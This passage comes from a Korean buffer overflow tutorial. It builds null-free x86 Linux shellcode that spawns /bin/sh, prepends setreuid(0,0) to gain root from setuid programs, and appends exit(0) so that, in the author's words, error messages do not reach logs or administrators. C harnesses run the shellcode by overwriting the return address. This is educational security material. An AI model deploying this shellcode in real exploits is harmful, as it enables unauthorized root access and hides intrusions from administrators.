804831a: 68 2f 73 68 00 push $0x68732f 804831f: 68 2f 62 69 6e push $0x6e69622f 8048324: 89 e3 mov %esp,%ebx 8048326: 6a 00 push $0x0 8048328: 53 push %ebx 8048329: 89 e1 mov %esp,%ecx 804832b: ba 00 00 00 00 mov $0x0,%edx 8048330: b8 0b 00 00 00 mov $0xb,%eax 8048335: cd 80 int $0x80 8048337: c9 leave 8048338: c3 ret 8048339: 90 nop 804833a: 90 nop [dalgona@redhat8 bof]$ < 그림 26. 쉘을실행시키는어셈블리코드의실행 > NULL의제거여기서문제점이발견되었다. 우리는이기계어쉘코드를얻은다음에이것을문자열형태로전달할것이다. 감사하게도 C언어에서는 char형변수에바이너리값을넣는방법을제공하고있다. 바로 char c= \x90 과같은형태로값을넣어주면컴파일러는 \x90 을이렇게생긴문자열로보지않고 16진수 90으로인식하여 1byte 데이터로저장한다. 그래서기계어코드로만들어진쉘코드를 char형문자열로전달할것이다. 그런데 push 0x0 와같은어셈블리코드는기계어코드로 6a 00 이다. 이것을문자열형태로전달하려면 char a[] = \x6a\x00 과같이해주어야한다. 하지만 char형배열, 즉문자열에서는 0 의값을만나면그것을문자열의끝으로인식하게된다. 즉 0x00 뒤에어떤값이있더라도그이후는무시해버린다. 0x00와같은기계어코드는엄청많이만날수있다. 따라서귀찮지만 \x00인기계어코드가생기지않게만들어줘야한다. 또한 mov $0xb,%eax 코드또한 00 를만들어내기때문에이것도고쳐줘야한다. 이러한문제점을해결하여위의어셈블리코드를다시작성하면아래와같게만들수있다. xor %eax,%eax // 같은수를 XOR하면 0이된다. 즉 NULL이다. push %eax // NULL을 PUSH push $0x68732f2f // /bin/sh나 /bin//sh나둘다 shell을띄운다. push $0x6e69622f // /bin 문자열. 위와합쳐서 /bin//sh가된다. mov %esp,%ebx // 현재스텍포인터는 /bin//sh를넣은지점이다. push %eax // NULL을 PUSH push %ebx // /bin//sh의포인터를 PUSH 44
mov %esp,%ecx // esp 레지스터는 /bin//sh 포인터의포인터다 mov %eax,%edx // edx 레지스터에 NULL을넣어줌 mov $0xb,%al // system call vector를 12번으로지정. al에넣는다. int $0x80 // system call을호출하라는 interrupt 발생 [dalgona@redhat8 bof]$ cat sh02.c void main(){ asm volatile ( "xor %eax,%eax \n\t" "push %eax \n\t" "push $0x68732f2f \n\t" "push $0x6e69622f \n\t" "mov %esp,%ebx \n\t" "push %eax \n\t" "push %ebx \n\t" "mov %esp,%ecx \n\t" "mov %eax,%edx \n\t" "mov $0xb,%al \n\t" "int $0x80 \n\t" ); } [dalgona@redhat8 bof]$ gcc -o sh02 sh02.c sh02.c: In function `main': sh02.c:1: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$./sh02 sh-2.05b$ exit exit [dalgona@redhat8 bof]$ objdump -d sh02 grep \<main\>: -A 20 080482f4 <main>: 80482f4: 55 push %ebp 80482f5: 89 e5 mov %esp,%ebp 80482f7: 83 ec 08 sub $0x8,%esp 80482fa: 83 e4 f0 and $0xfffffff0,%esp 80482fd: b8 00 00 00 00 mov $0x0,%eax 8048302: 29 c4 sub %eax,%esp 45
8048304: 31 c0 xor %eax,%eax 8048306: 50 push %eax 8048307: 68 2f 2f 73 68 push $0x68732f2f 804830c: 68 2f 62 69 6e push $0x6e69622f 8048311: 89 e3 mov %esp,%ebx 8048313: 50 push %eax 8048314: 53 push %ebx 8048315: 89 e1 mov %esp,%ecx 8048317: 89 c2 mov %eax,%edx 8048319: b0 0b mov $0xb,%al 804831b: cd 80 int $0x80 804831d: c9 leave 804831e: c3 ret 804831f: 90 nop [dalgona@redhat8 bof]$ < 그림 27. NULL을제거한쉘을실행시키는어셈블리코드의실행 > 제법많은부분이바뀌었다. 자어떤가? 덤프한모습을보면우리가필요로하는코드 xor %eax,%eax (8048304) 이후부터 int $0x80 (804831b) 사이의기계어코드에는 00이없다. 따라서 NULL로인식될염려가없게되었다. 이제남은것은이것을문자열화시키는것이다. 위에서도언급했듯이 char형배열에 16 진수형태의바이너리데이터를전달할것이다. 그러기위해서는 \x90형식으로바꾸어줘야한다. 귀찮은작업이지만해야하니깐어쩔수없다. 덤프한코드에서우리가만든부분만의기계어코드를추출해보면아래와같다. 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 89 c2 b0 0b cd 80 46
이것을문자열배열에넣기위해다시가공하면 "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" 이렇게만들어낼수가있다. 이것을모두한줄에써줘도아무런상관이없다. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\ x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 자이제이코드를실행시켜보자. 쉘코드를실행시키기위해서는보통아래와같은프로그램을작성한다. [dalgona@ redhat8 bof]$ cat sh03.c char sc[] = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80"; void main(){ int *ret; ret = (int *)&ret + 2; *ret = sc; 47
} [dalgona@ redhat8 bof]$ gcc -o sh03 sh03.c sh03.c: In function `main': sh03.c:16: warning: assignment makes integer from pointer without a cast sh03.c:13: warning: return type of `main' is not `int' [dalgona@ redhat8 bof]$./sh03 sh-2.05b$ exit exit [dalgona@ redhat8 bof]$ < 그림 28. 쉘코드실행프로그램 sh03.c> 이런방식으로쉘코드를실행시킬수있다. 쉘이잘뜨는것을보니제대로만들어진것같다. 그러면이프로그램은어떤원리로동작할까? gdb를이용하여 disassemble해보자. [dalgona@ redhat8 bof]$ gdb sh03 GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x80482f4 <main>: push %ebp 0x80482f5 <main+1>: mov %esp,%ebp 0x80482f7 <main+3>: sub $0x8,%esp 0x80482fa <main+6>: and $0xfffffff0,%esp 0x80482fd <main+9>: mov $0x0,%eax 0x8048302 <main+14>: sub %eax,%esp 0x8048304 <main+16>: lea 0xfffffffc(%ebp),%eax 0x8048307 <main+19>: add $0x8,%eax 0x804830a <main+22>: mov %eax,0xfffffffc(%ebp) 0x804830d <main+25>: mov 0xfffffffc(%ebp),%eax 0x8048310 <main+28>: movl $0x804936c,(%eax) 48
0x8048316 <main+34>: leave 0x8048317 <main+35>: ret End of assembler dump. (gdb) < 그림 29. 쉘코드를실행시키는프로그램의 disassemble> disassemble해보면 < 그림 29> 와같은코드를확인할수있다. 함수프롤로그가수행되고나서다음과같은코드를수행한다. 0x8048304 <main+16>: lea 0xfffffffc(%ebp),%eax 0x8048307 <main+19>: add $0x8,%eax 0x804830a <main+22>: mov %eax,0xfffffffc(%ebp) 0x804830d <main+25>: mov 0xfffffffc(%ebp),%eax 0x8048310 <main+28>: movl $0x804936c,(%eax) <step 3, 4, 5> 를연상하면서확인해보자. 먼저 ebp-4byte 지점의 address를 eax 레지스터에넣는다. 그런다음그 address에 8을더한다. 이것은 sh03.c에서 ret = (int *)&ret +2 ; 과정이다. ret라는포인터변수의 address를찾아서 8바이트상위의주소로만든다. ( 참고로 int * 형에 1을더하면 int형데이터하나를건너뛰는것이므로실제로는 4가더해지는것이다.) 자, 그러면 ebp+4 지점에는무엇이들어있는가? 그렇다. 바로 return address가들어가있다. <step 5> 를확인해보자. 그런다음 return address가들어있는곳의주소값을 ebp 4byte 지점에넣어준다. 거꾸로도해준다. 그리고 eax 레지스터값이가리키는지점에 $0x804936c 을넣어준다. 0x804936c 에는 char sc[] 데이터가있는지점이다. 따라서 main() 함수가종료되고 EIP는 return address가가리키는지점에있는명령을가리키게될것이다. 그것을우리가만든쉘코드가들어있는위치를가리키게했으므로이제시스템은우리가넣은쉘코드를수행하게되는것이다. 이렇게해서쉘코드가제대로동작하는지확인할수가있다. 또다른방법또다른방법도있다. 쉘코드를저장할변수를 int형으로만들어주면된다. 다만여기서유의할점은 little endian 순서로정렬해야하며 int형이므로 4 byte 단위로만들어줘야하는것이다. 이렇게만들어진쉘코드실행프로그램을보자. [dalgona@ redhat8 bof]$ cat sh04.c int sc[] = {0x6850c031, 0x68732f2f, 0x69622f68, 0x50e3896e, 0x89e18953, 0xcd0bb0c2, 0x90909080}; void main(){ int *ret; 49
} ret = (int *)&ret + 2; *ret = sc; [dalgona@ redhat8 bof]$ gcc -o sh04 sh04.c sh04.c: In function `main': sh04.c:6: warning: assignment makes integer from pointer without a cast sh04.c:3: warning: return type of `main' is not `int' [dalgona@ redhat8 bof]$./sh04 sh-2.05b$ exit exit [dalgona@ redhat8 bof]$ < 그림 30. 쉘코드를 int형배열로실행하는방법 sh04.c> int형배열을이용하여실행하든지 char형배열을이용하여실행하든지상관은없다. 다만 int형배열을사용할때에는 objdump를이용하여얻은기계어코드를 little endian 방식으로재정렬해줘야한다는귀찮음이따르고또한대부분의 buffer overflow 공격방법이문자열형데이터처리의실수를이용하는것이므로 char 형으로생성하는것이더편하다. 단지바이너리데이터를메모리에넣고실행시키는방법을소개한것이므로알고만있으면된다. setreuid(0,0) 와 exit(0) 가추가된쉘코드 buffer overflow 공격이성공했을경우공격자는쉘을획득할수있게될텐데, 쉘획득이후보다많은권한을얻고싶어할것이다. 따라서 root 권한을얻을수있는방법을모색하게된다. root권한을얻을수있는방법은 setuid 비트가 set되어있는프로그램을이용할수있다. 그래서 setuid 비트가 set되어있는프로그램을오버플로우시켜쉘코드를실행시키고루트의쉘을얻어낼방법이필요하다. 위에서작성한쉘코드실행프로그램 sh03.c와 sh04.c는 root권한을얻어주지못한다. 예를들어이프로그램에의해만들어진 sh03에 setuid 비트를붙여서실행을시켜보자. [dalgona@redhat8 bof]# ls -al sh03 -rwxrwxr-x 1 dalgona dalgona 9526 7월 15 11:13 sh03 [dalgona @redhat8 bof]$ su Password: [root@redhat8 bof]# chown root.root sh03 [root@redhat8 bof]# chmod 4755 sh03 50
[root@redhat8 bof]# ls -al sh03 -rwsr-xr-x 1 root root 9526 7월 15 11:13 sh03 [root@redhat8 bof]# exit exit [dalgona @redhat8 bof]$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) [dalgona @redhat8 bof]$./sh03 sh-2.05b$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) sh-2.05b$ < 그림 31. setuid를붙인 sh03 실행 > 이와같이 setuid를붙여도아무런역할을하지못한다. 왜냐하면 root 소유의프로그램의권한을그대로상속받지못했기때문이다. 따라서쉘코드에소유자의권한을얻어내는기능이필요하다. 따라서쉘코드부터다시수정을해줘야한다. 이를위해서 sh.c를아래와같이수정하였다. [dalgona@redhat8 bof]$ cat sh-1.c #include<unistd.h> void main(){ char *shell[2]; setreuid(0,0); shell[0] = "/bin/sh"; shell[1] = NULL; } execve(shell[0], shell, NULL); [dalgona@redhat8 bof]$ gcc -o sh-1 sh-1.c sh-1.c: In function `main': sh-1.c:2: warning: return type of `main' is not `int' [dalgona@redhat8 bof]$ su Password: [root@redhat8 bof]# chown root.root sh-1 [root@redhat8 bof]# chmod 4755 sh-1 [root@redhat8 bof]# exit 51
exit [dalgona@redhat8 bof]$ id uid=500(dalgona) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) [dalgona@redhat8 bof]$./sh-1 sh-2.05b# id uid=0(root) gid=500(dalgona) groups=500(dalgona),1001(staff),1002(sysadmin) sh-2.05b# < 그림 32. sh.c를수정한 sh-1.c의실행 > 이렇다. setreuid() 함수를이용하여프로그램소유자의권한을얻어올수가있게되는것이다. 따라서쉘코드에 setreuid() 가하는기계어코드를추가해줘야한다. setreuid() 의기계어코드를찾는방법은위에서살펴본 execve() 에서기계어코드를찾는방법과동일하게수행할수있다. 따라서여기서는그방법을언급하지않겠다. 위에서와똑같이 static으로컴파일하여 setreuid() 함수를찾아인터럽트를호출하는부분을찾으면된다. 아무튼이렇게하여찾아진기계어코드와어셈블리코드는아래와같다 "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x46" // movb $0x46,%al "\xcd\x80" // int $0x80 이것을우리가만든쉘코드앞부분에단순히붙여넣어주기만하면 "\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" 52
"\xb0\x0b" "\xcd\x80" 이된다. 한편, 좀더완벽한쉘코드를만들기위해서 exit(0) 가필요할수있다. 이것은공격자가 overflow 공격을수행하고난뒤프로그램의정상적인종료를위해서이다. 만약정상종료를시키기못하면에러메시지가발생할수도있고이메시지는로그파일혹은관리자에게그대로전달될수도있다. 깔끔한마무리를위해서 exit(0) 를넣어주자. exit(0) 에대한기계어코드는아래와같다. "x31\xc0\xb0\x01\xcd\x80" 그리고이를이용해만든 sh03.c의수정코드는아래와같다. [dalgona@redhat8 bof]$ cat sh03-1.c char sc[] = "\x31\xc0" "\x31\xdb" "\xb0\x46" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x89\xc2" "\xb0\x0b" "\xcd\x80" "x31\xc0\xb0\x01\xcd\x80"; void main(){ int *ret; ret = (int *)&ret + 2; *ret = sc; } 53